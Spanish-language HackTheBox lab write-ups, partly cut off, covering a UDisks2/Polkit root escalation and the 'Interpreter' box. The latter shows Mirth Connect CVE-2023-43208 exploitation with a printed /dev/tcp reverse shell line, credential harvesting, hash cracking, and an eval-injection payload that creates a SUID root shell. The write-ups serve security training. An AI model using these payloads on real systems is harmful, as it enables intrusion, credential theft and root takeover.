:1.0 init.scope - - :1.1 797 systemd-logind root :1.1 systemd-logind.service - - :1.12 1000 polkitd polkitd :1.12 polkit.service - - :1.15 937 wickedd root :1.15 wickedd.service - - :1.187 11484 busctl phileasfogg3 :1.187 session-6.scope 6 - :1.2 758 firewalld root :1.2 firewalld.service - - :1.3 925 wickedd-auto4 root :1.3 wickedd-auto4.service - - :1.4 930 wickedd-dhcp6 root :1.4 wickedd-dhcp6.service - - :1.45 10362 systemd phileasfogg3 :1.45 user@1002.service - - :1.5 929 wickedd-dhcp4 root :1.5 wickedd-dhcp4.service - - :1.6 937 wickedd root :1.6 wickedd.service - - :1.7 947 wickedd-nanny root :1.7 wickedd-nanny.service - - :1.8 947 wickedd-nanny root :1.8 wickedd-nanny.service - - org.fedoraproject.FirewallD1 758 firewalld root :1.2 firewalld.service - - org.freedesktop.DBus 1 systemd root - init.scope - - org.freedesktop.PolicyKit1 1000 polkitd polkitd :1.12 polkit.service - - org.freedesktop.UDisks2 - - - (activatable) - - - org.freedesktop.hostname1 - - - (activatable) - - - org.freedesktop.locale1 - - - (activatable) - - - org.freedesktop.login1 797 systemd-logind root :1.1 systemd-logind.service - - org.freedesktop.systemd1 1 systemd root :1.0 init.scope - - org.freedesktop.timedate1 - - - (activatable) - - - org.freedesktop.timesync1 - - - (activatable) - - - org.opensuse.Network 937 wickedd root :1.6 wickedd.service - - org.opensuse.Network.AUTO4 925 wickedd-auto4 root :1.3 wickedd-auto4.service - - org.opensuse.Network.DHCP4 929 wickedd-dhcp4 root :1.5 wickedd-dhcp4.service - - org.opensuse.Network.DHCP6 930 wickedd-dhcp6 root :1.4 wickedd-dhcp6.service - - org.opensuse.Network.Nanny 947 wickedd-nanny root :1.7 wickedd-nanny.service - - org.opensuse.Snapper - - - (activatable) - Si nos fijamos, entre todo esto, vemos la siguiente línea:\n1 2 NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION org.freedesktop.UDisks2 - - - (activatable) - - - UDisks2 era el servicio vulnerable, y antes de ejecutar el exploit, su CONNECTION está puesta a (activatable), en lugar de tener un ID como el resto de servicios del D-Bus. Tampoco tiene un PID ni un usuario asociado. Esto se debe a que, aunque el servicio está registrado en el D-Bus, no está activo, ni siquiera tiene un proceso vivo, por eso no veíamos nada relacionado con UDisks2 al usar ps aux.\nComo UDisks2 es un programa que opera con discos y particiones (cosa que no siempre se usa), el servicio pasa la mayor parte del tiempo inactivo, pero registrado en el D-Bus y a la espera de que un programa le mande una señal que haga que se despierte, de ahí el (activatable). Cuando alguien mande un mensaje a org.freedesktop.UDisks2, D-Bus le dirá a systemd que inicie el binario de UDisks2, le asigne un PID y usuario y procese la petición, de ahí que pueda hacer cosas como root.\nY es exactamente por eso que, tras haber ejecutado el exploit, si volvemos a mirar:\n1 2 NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION org.freedesktop.UDisks2 13843 udisksd root :1.461 udisks2.service - - Ya existe un proceso por debajo.\nAhora que sabemos por qué no lo veíamos antes y cómo y por qué el programa se despertaba (y que lo hacía como root), cómo funcionaba el CVE?\nPartimos de que UDisks2 es un servicio y una herramienta de Linux que permite gestionar dispositivos de almacenamiento como HDDs, SSDs y demás. Ofrece, como hemos dicho, una interfaz en el D-Bus para que los programas puedan montar y desmontar particiones o formatear discos (entre otros) sin necesidad de ser root.\nEn UDisks2, cuando un usuario solicita redimensionar un sistema de archivos XFS, udisks cede la tarea a la biblioteca libblockdev (la que ha detectado Trivy). Para redimensionar el fs., libblockdev necesita montarlo temporalmente en /tmp. La vulnerabilidad consiste en que ese montaje temporal se realiza sin aplicar flags de seguridad como nosuid (que hace que los binarios del fs. con el bit SUID/SGID no tengan tal efecto en el sistema global).\nAprovechando ese fallo, un atacante puede preparar un exploit como el sacado de Github, que contenía 4 archivos:\nbuild_poc.sh: Compila localmente catcher y crea exploit.img para subirlos al server de la víctima después. exploit.sh: Solicita a UDisks2 que redimensiona exploit.img e inmediatamente después inicia el catcher. exploit.img: Imagen XFS maliciosa con un binario bash con SUID bit puesto. catcher: Se mantiene a la escucha hasta que libblockdev monta la imagen para redimensionarla (sin el nosuid) Al ejecutar exploit.sh, este pide a UDisks2 que redimensione la imagen. El catcher se mantiene en escucha y cuando ve que libblockdev ha montado el fs., inmediatamente ejecuta el shell bash con SUID que había dentro.\nPor qué ha fallado la primera vez? En qué consistía la solución?\nAquí entra en juego Polkit, otro sistema (que también veíamos en el D-Bus como org.freedesktop.PolicyKit1) encargado de controlar las autorizaciones (quién puede hacer qué). Permite establecer reglas estrictas para cada usuario sin necesidad de ejecutar todo el programa como root.\nEl proceso de funcionamiento de Polkit es el siguiente (p.ej para añadir una impresora):\nLa aplicación de config. manda un mensaje por D-Bus a CUPS, solicitando añadir una impresora CUPS recibe la solicitud y sabe que añadir una impresora requiere permisos especiales, pero no sabe si el usuario los tiene. CUPS pregunta a Polkit (via D-Bus): \u0026ldquo;El usuario X quiere hacer Y acción, debería dejarle?\u0026rdquo; Polkit revisa sus reglas guardadas en /etc/polkit-1/rules.d/ o /usr/share/polkit-1/actions/, de ahí puede ver varias cosas: Sí, el usuario tiene permiso, CUPS puede añadir la impresora. No, el usuario no tiene permiso, CUPS no debería añadir la impresora (aunque CUPS puede ignorarle) Autenticación Requerida: Puede, pero debe autenticarse (se pide contraseña y se delega la comprobación a PAM). En función de lo recibido, CUPS hará una cosa u otra Cuando lo que se quiere es montar o trabajar con discos, la política de Polkit es clara:\nSi un usuario está conectado por SSH, se le considera \u0026ldquo;sesión inactiva\u0026rdquo; y se requiere que introduzca la contraseña de root para interactuar con el hardware. Por eso cuando se ha intentado crear el disco para redimensionarlo, Polkit nos ha parado. 1 2 3 4 5 6 7 8 9 10 11 phileasfogg3@pterodactyl:/tmp\u0026gt; ./exploit.sh [+] Session is Active. Polkit bypass enabled. [*] Starting Background Trigger (Wait 2s)... [*] Starting Foreground Catcher... [*] HOLD TIGHT. ROOT SHELL INCOMING. [*] Sniper started. Waiting for ANY loop mount... [*] (BG) Setting up loop device... ==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ==== Authentication is required to set up a loop device Authenticating as: root Password: #... Pide contraseña de root Para solucionar esto, hemos tenido que añadir 2 variables a ~/.pam_environment:\nXDG_SEAT=seat0: Indica el \u0026ldquo;contexto de hardware\u0026rdquo;, seat0 hace referencia a teclado y ratón físicos. XDG_VTNR=1: Indica número de terminal. Se pone tty1 en este caso, que hace referencia a la terminal común para logins GUI. Estas dos variables en el archivo explotan otra vulnerabilidad (CVE-2025-6018) que engaña a PAM para que marque la sesión remota por SSH como una sesión activa:\n1 2 ~\u0026gt; loginctl show-session $XDG_SESSION_ID | grep Active Active=yes Esto hace que, al ejecutar el exploit, Polkit no nos pare a mitad, permitiéndonos cargar el filesystem con el binario de bash y finalmente obtener un shell como root.\n","date":"28 de febrero de 2026","externalUrl":null,"permalink":"/writeups/pterodactyl/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Pterodactyl Server Manager, CVE Público, Redis, MySQL, Trivy, UDisks2","title":"HackTheBox - Pterodactyl","type":"writeups"},{"content":"","date":"28 de febrero de 2026","externalUrl":null,"permalink":"/tags/pterodactyl/","section":"Tags","summary":"","title":"Pterodactyl","type":"tags"},{"content":"","date":"28 de febrero de 2026","externalUrl":null,"permalink":"/tags/trivy/","section":"Tags","summary":"","title":"Trivy","type":"tags"},{"content":"","date":"28 de febrero de 2026","externalUrl":null,"permalink":"/tags/udisks2/","section":"Tags","summary":"","title":"UDisks2","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. ~4h Datos Iniciales: 10.129.2.190 Nmap Scan y enumeración # Tras hacer un scan nmap completo, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ nmap -sT -Pn -n -p22,80,443,6661 -sVC --open 10.129.2.190 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA) |_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519) 80/tcp open http Jetty | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mirth Connect Administrator 443/tcp open ssl/http Jetty | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mirth Connect Administrator |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mirth-connect | Not valid before: 2025-09-19T12:50:05 |_Not valid after: 2075-09-19T12:50:05 6661/tcp open unknown # Nada en UDP, top 200 puertos Aunque no se nos redirija a ningún dominio/vhost, añadimos interpreter.htb a /etc/hosts para estandarizar el nombre del server.\nTCP/22 (SSH): OpenSSH 9.2p1, tenía una vulnerabilidad crítica (Unauthenticated RCE por race condition) pero era bastante compleja de explotar, así que la consideramos versión no vulnerable (a efectos prácticos). TCP/80 (HTTP): Jetty, servidor http basado 100% en java Sirviendo una página con título Mirth Connect Administrator Método HTTP peligroso: TRACE TCP/443 (HTTPS): Al comprobar a solicitar la página con curl -k veo que sirve exactamente lo mismo que el puerto 80. TCP/6661 (?): El scan de nmap no detecta servicio, tendremos que mirar más a fondo. Respecto a Mirth Connect Administrator, en Internet pone lo siguiente:\nMirth Connect is an open-source integration engine designed primarily for healthcare to enable seamless data exchange between disparate systems. It handles real-time translation, transformation, and routing of messages across formats like HL7, FHIR, JSON, XML\u0026hellip;\nMirth Connect Administrator is a key component of the Mirth Connect integration engine, allowing users to manage data transmission and healthcare integrations effectively. It provides a dashboard for overseeing channels, user management, system settings, and alerts\nRespecto al puerto 6661, en Internet pone lo siguiente:\nPort 6661 is commonly associated with the HL7 protocol used in healthcare for exchanging patient data, but it can also be flagged for malware activity. Contando con el hecho de que los puertos 80 y 443 sirven un panel de control relacionado con temas de sanidad, la primera opción (Protocolo HL7) se hace bastante más probable\nHealth Level Seven (HL7) # Tras buscar en internet, veo lo siguiente: Health Level Seven (HL7) no es un protocolo de red en sí, sino un estándar de mensajería de la capa de aplicación (De ahí el 7, de la capa 7 del modelo OSI) que sirve para que diferentes sistemas informáticos médicos (normalmente de fabricantes distintos) puedan intercambiar info clínica. Se usa comúnmente en hospitales, clínicas y laboratorios.\nHay varias versiones:\nHL7 v2.x: Las más implementadas, por defecto usan el puerto 6661, operando sobre el protocolo MLLP HL7 v3: Con algunas mejoras pero no tan implementadas por no ser retrocompatibles con 2.x HL7 FHIR: La más moderna. Usa HTTP(S) y peticiones RESTful con json/xml En HTTP(s) tenemos Mirth Connect. Como HL7 FHIR es la versión moderna y trabaja sobre HTTP(s), me pregunto si será posible que tanto HL7 2.x como FHIR coexistan en el mismo server a la vez, a lo que encuentro la respuesta:\nIt\u0026rsquo;s common for HL7 2.x and FHIR to coexist on the same server in healthcare systems, especially during transitions to modern standards. HL7 2.x often runs on a custom TCP port like 6661 using MLLP for legacy messaging, while FHIR operates over standard HTTP(S) ports (e.g. 80, 443) for RESTful APIs.\nDe momento tenemos prácticamente confirmado que HL7 2.x está activo en el 6661, solo quedaría confirmar si FHIR también lo está en el 80/443 y, dado que esa versión opera como API REST, necesitaremos encontrar su endpoint. Al buscar en Internet, veo:\nIn Mirth Connect, there is no single fixed FHIR API endpoint. Instead, the endpoint is determined by how a specific FHIR Listener channel is configured within the Mirth Administrator.\nAsí que necesitaremos acceder a Mirth Administrator para ver su endpoint (o sacarlo a fuerza bruta).\nTCP/6661 - HL7 # HL7 opera sobre MLLP, que necesita saber dónde empiezan y acaban los mensajes, así que tiene un formato estricto:\nInicio de mensaje: 0x0b Payload: Todo el mensaje HL7 2.x en texto. Fin del mensaje; 0x1c 0x1d Formato y significado de payload HL7 # Esta información no es estrictamente necesaria para el CTF, pero si por curiosidad quieres saber el significado del payload HL7 puedes leerla. Si no, sáltate este bloque:\nSegmento MSH obligatorio: Header, define los delimitadores que usará el resto del mensaje Separador de segmentos: Obligatoriamente \\r, no vale \\r\\n Delimitadores entre info: |, ^, ~, \u0026amp; separan campos y componentes. (ver ejemplo) P.ej, un payload válido para HL7 sería (sacado de Wikipedia):\n1 2 3 4 5 6 7 8 MSH|^~\\\u0026amp;|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5 EVN||200605290901|||| PID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN PV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTTER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900 OBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F OBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F AL1|1||^ASPIRIN DG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A MSH: Header, indica el quién manda el mensaje y quién lo recibe (MegaReg y SuperOE, respectivamente) y el tipo de mensaje (ADT^A01 - Admisión de paciente) EVN: Fecha y hora del evento PID: Datos del paciente, KLEINSAMPLE BARRY, nacido el 10/09/1962, sexo Masculino. PV1: Datos de visita al hospital, ubicación asignada, médicos que le atienden. OBX: Resultados y observaciones. Altura 1.80m, peso 79kg. AL1: Alergias (ASPIRIN) DG1: Diagnóstico (CHEST PAIN, UNSPECIFIED) Mensaje a HL7 p.6661 # Para mandar este mensaje a HL7 2.x hay que envolverlo según los requisitos de MLLP. Creamos un payload que mande un mensaje y recoja el output:\n1 echo -ne \u0026#34;\\x0bMSH|^~\\\u0026amp;|MegaReg|XYZHospC|SuperOE|XYZImgCtr|20060529090131-0500||ADT^A01^ADT_A01|01052901|P|2.5\\rEVN||200605290901||||\\rPID|||56782445^^^UAReg^PI||KLEINSAMPLE^BARRY^Q^JR||19620910|M||2028-9^^HL70005^RA99113^^XYZ|260 GOODWIN CREST DRIVE^^BIRMINGHAM^AL^35209^^M~NICKELL’S PICKLES^10000 W 100TH AVE^BIRMINGHAM^AL^35200^^O|||||||0105I30001^^^99DEF^AN\\rPV1||I|W^389^1^UABH^^^^3||||12345^MORGAN^REX^J^^^MD^0010^UAMC^L||67890^GRAINGER^LUCY^X^^^MD^0010^UAMC^L|MED|||||A0||13579^POTTER^SHERMAN^T^^^MD^0010^UAMC^L|||||||||||||||||||||||||||200605290900\\rOBX|1|NM|^Body Height||1.80|m^Meter^ISO+|||||F\\rOBX|2|NM|^Body Weight||79|kg^Kilogram^ISO+|||||F\\rAL1|1||^ASPIRIN\\rDG1|1||786.50^CHEST PAIN, UNSPECIFIED^I9|||A\\r\\x1c\\x0d\u0026#34; | nc -q 2 interpreter.htb 6661 \u0026gt;\u0026gt; archivo Y miramos el output:\n1 2 $ cat archivo MSA|AA|01052901E|XYZImgCtr|MegaReg|XYZHospC|20260223135153.261||ACK^A01^ACK|20260223135153.261|P|2.5 Nos ha devuelto un ACK, que de forma resumida significa:\nMSA: Message Acknowledgement AA: Application Accept (Mirth ha recibido nuestro mensaje, lo ha procesado y lo ha aceptado) Campos reflejados y tiempo del sistema. Los datos que hemos mandado se habrán guardado en algún sitio, pero como de momento no sabemos ni dónde ni cómo, solo nos queda mirar en Mirth Connect Admin.\nTCP/80 \u0026amp; TCP/443 - Mirth Connect Administrator # Al entrar al puerto 80 vemos un panel de login: Según la propia página, necesitamos acceder al servidor por HTTPS para autenticarnos, así que pulsamos de Access Secure System y aceptamos el peligro del certificado autofirmado. Ahora podemos iniciar sesión con unas credenciales que desconocemos. Antes de buscar credenciales por defecto, miramos la versión de Mirth Connect para ver si hay alguna vulnerabilidad conocida.\nEnumeración de versión de Mirth # Al mirar en Internet, veo que la versión puede verse sin estar autenticados haciendo una solicitud al endpoint /api/server/version. Desde Firefox: Tenemos que añadir un header X-Requested-With, así que hacemos la solicitud con curl:\n1 2 $ curl -k -H \u0026#34;X-Requested-With: test123\u0026#34; https://interpreter.htb/api/server/version 4.4.0 CVE-2023-43208 -\u0026gt; Foothold inicial # Encontramos varias vulnerabilidades importantes para esta versión (Unauthenticated RCE). En especial, la que aplica para esta versión es CVE-2023-43208.\nHay un exploit público que usamos en este caso (fork de otro que usaba dependencias obsoletas de hace 2 años):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ python3 CVE-2023-43208.py -u https://interpreter.htb -lh 10.10.15.24 -lp 4444 Ç ██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██ ██ ██████ ██████ ██████ █████ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ ███████ █████ █████ ██ ██ ██ █████ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██████ ████ ███████ ███████ ██████ ███████ ██████ ██ ██████ ███████ ██████ █████ [+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we\u0026#39;re still waiting :D ) [*] Setting up listener on 10.10.15.24:4444 and launching exploit... Exception in thread Thread-1 (start_listener): Traceback (most recent call last): ...[SNIP]... OSError: [Errno 98] Address already in use (while attempting to bind on address (\u0026#39;0.0.0.0\u0026#39;, 4444)) [*] Looking for Mirth Connect instance... [+] Found Mirth Connect instance [+] Vulnerable Mirth Connect version 4.4.0 instance found at https://interpreter.htb [!] sh -c $@|sh . echo bash -c \u0026#39;0\u0026lt;\u0026amp;53-;exec 53\u0026lt;\u0026gt;/dev/tcp/10.10.15.24/4444;sh \u0026lt;\u0026amp;53 \u0026gt;\u0026amp;53 2\u0026gt;\u0026amp;53\u0026#39; [*] Launching exploit against https://interpreter.htb... Y mientras en el handler:\n1 2 3 4 5 6 $ penelope -i 10.10.15.24 [+] Listening for reverse shells on 10.10.15.24:4444 [+] Got reverse shell from interpreter~10.129.2.190-Linux-x86_64 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 mirth@interpreter:/usr/local/mirthconnect$ Privesc 1 (mirth -\u0026gt; sedric) # De momento somos mirth, no tenemos permiso para leer /home/sedric, así que tendremos que conseguir llegar a su usuario y luego root, o llegar a root directamente.\nAl ejecutar linPEAS encontramos varias cosas:\nMariaDB ejecutándose. mariadb.service: Uses relative path 'sync' (from # ExecStartPre=sync) mariadb.service: Uses relative path 'sysctl' (from # ExecStartPre=sysctl -q -w vm.drop_caches=3) mariadb.service: Uses relative path 'sysctl' (from # ExecStartPre=sysctl -q -w vm.drop_caches=3) mariadb.service: Uses relative path 'sysctl' (from # ExecStartPre=sysctl -q -w vm.drop_caches=3) Local-Only Listeners (loopback): tcp LISTEN 127.0.0.1:54321 tcp LISTEN 127.0.0.1:3306 Puerto 54321 - Flask # Antes de ir a por MariaDB, hacemos port forwarding del puerto 54321 para ver qué es:\n1 2 mirth@interpreter:/tmp$ socat TCP-LISTEN:8888,bind=0.0.0.0,fork,reuseaddr TCP:127.0.0.1:54321 \u0026amp; disown # \u0026#34;\u0026amp; disown\u0026#34; para mandar el proceso al background y desheredarlo para recuperar el shell inmediatamente. Y mientras en nuestra máquina:\n1 2 3 4 5 6 $ nmap interpreter.htb -p8888 -sVC PORT STATE SERVICE VERSION 8888/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2) |_http-title: 404 Not Found |_http-server-header: Werkzeug/2.2.2 Python/3.11.2 Si pedimos cualquier cosa al servidor, vemos que para todo nos devuelve 404:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ curl interpreter.htb:8888 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=en\u0026gt; \u0026lt;title\u0026gt;404 Not Found\u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;Not Found\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.\u0026lt;/p\u0026gt; $ gobuster dir -u http://interpreter.htb:8888 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== Starting gobuster in directory enumeration mode ... =============================================================== Progress: 4750 / 4750 (100.00%) =============================================================== Finished No encuentra nada, pero como Flask funciona diferente a los servers web normales como Apache o nginx (requere \u0026ldquo;mapear\u0026rdquo; endpoints a elementos específicos a servir), vendría bien saber el nombre de los endpoints, y para ello vendría bien saber qué proceso está sirviendo el server Flask. Esto podemos deducirlo por descarte.\nEl proceso debe ser de python (porque flask es de python), versión 3.x (por el análisis nmap), y evidentemente no ser el proceso de nuestra reverse shell o el de fail2ban (que son otros procesos de python que sabemos que no corresponden al servicio). Esto nos deja una sola opción:\n1 2 3 $ ps aux ...[SNIP]... root 3567 0.0 0.8 466896 33408 ? Ss 10:10 0:17 /usr/bin/python3 /usr/local/bin/notif.py /usr/local/bin/notif.py, ejecutándose como root, puede ser un vector de escalada importante. El principal problema es el siguiente:\n1 2 $ ls -al /usr/local/bin/notif.py -rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py No tenemos permiso ni siquiera de lectura, ahora bien, ver que sedric puede leerlo es un indicativo importante de que posiblemente la siguiente escalada de privilegios (sedric -\u0026gt; root) sea a través de este proceso. Dicho esto, nos queda MariaDB.\nPuerto 3306 - MariaDB # Y, por descarte de nuevo, si el otro vector era de sedric a root, este tiene que ser de mirth a sedric.\nNecesitamos las credenciales de MariaDB, así que aprovecharemos el hecho de que probablemente se reutilicen o se incluyan explícitamente en los archivos de Mirth (porque el servicio debe acceder a la DB). Encontramos los archivos de Mirth Connect, ubicados en /usr/local/mirthconnect. Ahí encontramos /usr/local/mirthconnect/conf/mirth.properties:\n1 2 3 4 5 6 cat /usr/local/mirthconnect/conf/mirth.properties ...[SNIP]... database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod database.username = mirthdb database.password = MirthPass123! Y con esto entramos en MariaDB:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mirth@interpreter:/tmp$ mysql -u mirthdb -p\u0026#34;MirthPass123!\u0026#34; Welcome to the MariaDB monitor. Commands end with ; or \\g. Your MariaDB connection id is 41 Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12 MariaDB [(none)]\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mc_bdd_prod | +--------------------+ MariaDB [(none)]\u0026gt; use mc_bdd_prod; Database changed Ahora listamos las tablas para ver qué columnas interesantes hay:\n1 2 3 4 5 6 7 8 9 10 11 12 13 MariaDB [mc_bdd_prod]\u0026gt; show tables; +-----------------------+ | Tables_in_mc_bdd_prod | +-----------------------+ | ALERT | | CHANNEL | | ...[SNIP]... | | PERSON | | PERSON_PASSWORD | | PERSON_PREFERENCE | | SCHEMA_INFO | | SCRIPT | +-----------------------+ Seleccionamos PERSON_PASSWORD y PERSON:\n1 2 3 4 5 MariaDB [mc_bdd_prod]\u0026gt; SELECT * FROM PERSON, PERSON_PASSWORD; #Simplificando el output PERSON PERSON_ID PASSWORD sedric 2 u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== Crackeando el hash # Tras una búsqueda, veo que a partir de Mirth Connect 4.4.0 (inclusive) se pasó a usar PBKDF2-HMAC-SHA256 sustituyendo a Raw-SHA256, y los hashes funcionan de la siguiente manera:\nLa string u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== tiene 40 bytes.\nLos primeros 8 son el salt Los otros 32 son el hash Para crackearlo, usaremos hashcat con el formato que espera su modo 10900 (PBKDF2-HMAC-SHA256): sha256:iteraciones:salt_b64:hash_b64. En nuestro caso iteraciones es 600000 (por defecto a partir de Mirth 4.4.0), porque aunque puede cambiarse el número en mirth.properties -\u0026gt; digest.iterations, no se ha modificado (no aparece) la línea.\n1 2 3 4 5 6 7 8 9 10 import base64 string = \u0026#34;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==\u0026#34; raw = base64.b64decode(string) iter = 600000 salt_b64 = base64.b64encode(raw[:8]).decode() hash_b64 = base64.b64encode(raw[8:]).decode() print(f\u0026#34;sha256:{iter}:{salt_b64}:{hash_b64}\u0026#34;) Esto nos da el siguiente hash: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=\nNota: Iteraciones La fuerza bruta es factible aquí porque, aunque haya 600000 iteraciones, en esta situación la contraseña muy probablemente esté en rockyou. Ahora bien, en una situación real esto es impracticable (si no se dispone de semanas), y el que no tenga gráfica dedicada va a tardar un rato.\nAhora crackeamos el hash:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 hashcat -m 10900 -a 0 hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting ...[SNIP]... sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256) Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps= ... Candidates.#1....: 123456 -\u0026gt; mcmanus Started: Mon Feb 23 23:33:06 2026 Stopped: Mon Feb 23 23:34:03 2026 Y así conseguimos la contraseña snowflake1.\nPrivesc 2 (sedric -\u0026gt; root) # Nos conectamos por SSH para tener una shell completa y miramos si somos sudoers:\n1 2 3 4 5 $ ssh sedric@interpreter.htb sedric@interpreter.htb\u0026#39;s password: sedric@interpreter:~$ sudo -l -bash: sudo: command not found Ni siquiera hay sudo, así que vamos directos al script /usr/local/bin/notif.py, el cual efectivamente confirmamos estaba escuchando en el puerto 54321. Según un propio comentario en el script hace lo siguiente:\nNotification server for added patients. This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/. It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine. It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.\nEl endpoint que buscábamos antes por fuerza bruta es /addPatient, que atiende requests POST y hace lo siguiente:\nDecodea los datos que llegan Si no hay tag de paciente, da error. Mete los datos en un template Una vez formateados con el template, los mete a una \u0026ldquo;notificación\u0026rdquo; en un archivo. El código tiene una vulnerabilidad importante que se da en el paso del template. Se usa la siguiente función:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def template(first, last, sender, ts, dob, gender): pattern = re.compile(r\u0026#34;^[a-zA-Z0-9._\u0026#39;\\\u0026#34;(){}=+/]+$\u0026#34;) for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return \u0026#34;[INVALID_INPUT]\u0026#34; # DOB format is DD/MM/YYYY try: year_of_birth = int(dob.split(\u0026#39;/\u0026#39;)[-1]) if year_of_birth \u0026lt; 1900 or year_of_birth \u0026gt; datetime.now().year: return \u0026#34;[INVALID_DOB]\u0026#34; except: return \u0026#34;[INVALID_DOB]\u0026#34; template = f\u0026#34;Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}\u0026#34; try: return eval(f\u0026#34;f\u0026#39;\u0026#39;\u0026#39;{template}\u0026#39;\u0026#39;\u0026#39;\u0026#34;) except Exception as e: return f\u0026#34;[EVAL_ERROR] {e}\u0026#34; Específicamente en estas líneas:\n1 2 3 template = f\u0026#34;Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}\u0026#34; return eval(f\u0026#34;f\u0026#39;\u0026#39;\u0026#39;{template}\u0026#39;\u0026#39;\u0026#39;\u0026#34;) Aquí el script toma nuestro input, lo mete a una plantilla e inmediatamente lo evalúa, con la única barrera de que antes hace esto:\n1 2 3 4 pattern = re.compile(r\u0026#34;^[a-zA-Z0-9._\u0026#39;\\\u0026#34;(){}=+/]+$\u0026#34;) for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return \u0026#34;[INVALID_INPUT]\u0026#34; Es decir, que no nos permite añadir \u0026ldquo; \u0026rdquo;, \u0026ldquo;,\u0026rdquo;, \u0026ldquo;-\u0026rdquo; ni \u0026ldquo;[]\u0026rdquo;, pero podemos evadir esto usando chr(32) para espacios (el resto ni lo necesitamos):\n1 2 3 4 5 6 7 8 \u0026lt;patient\u0026gt; \u0026lt;firstname\u0026gt;{os.system(\u0026#39;cp\u0026#39;+chr(32)+\u0026#39;/bin/bash\u0026#39;+chr(32)+\u0026#39;/tmp/rootbash\u0026#39;)}\u0026lt;/firstname\u0026gt; \u0026lt;lastname\u0026gt;{os.system(\u0026#39;chmod\u0026#39;+chr(32)+\u0026#39;4755\u0026#39;+chr(32)+\u0026#39;/tmp/rootbash\u0026#39;)}\u0026lt;/lastname\u0026gt; \u0026lt;sender_app\u0026gt;htb\u0026lt;/sender_app\u0026gt; \u0026lt;timestamp\u0026gt;now\u0026lt;/timestamp\u0026gt; \u0026lt;birth_date\u0026gt;01/01/1990\u0026lt;/birth_date\u0026gt; \u0026lt;gender\u0026gt;M\u0026lt;/gender\u0026gt; \u0026lt;/patient\u0026gt; Probamos a mandarlo desde el servidor:\n1 2 sedric@interpreter:/tmp$ curl -X POST http://127.0.0.1:54321/addPatient -d @/tmp/payload.xml -bash: curl: command not found Así que tendremos que usar el port forward creado antes:\n1 2 $ curl -X POST 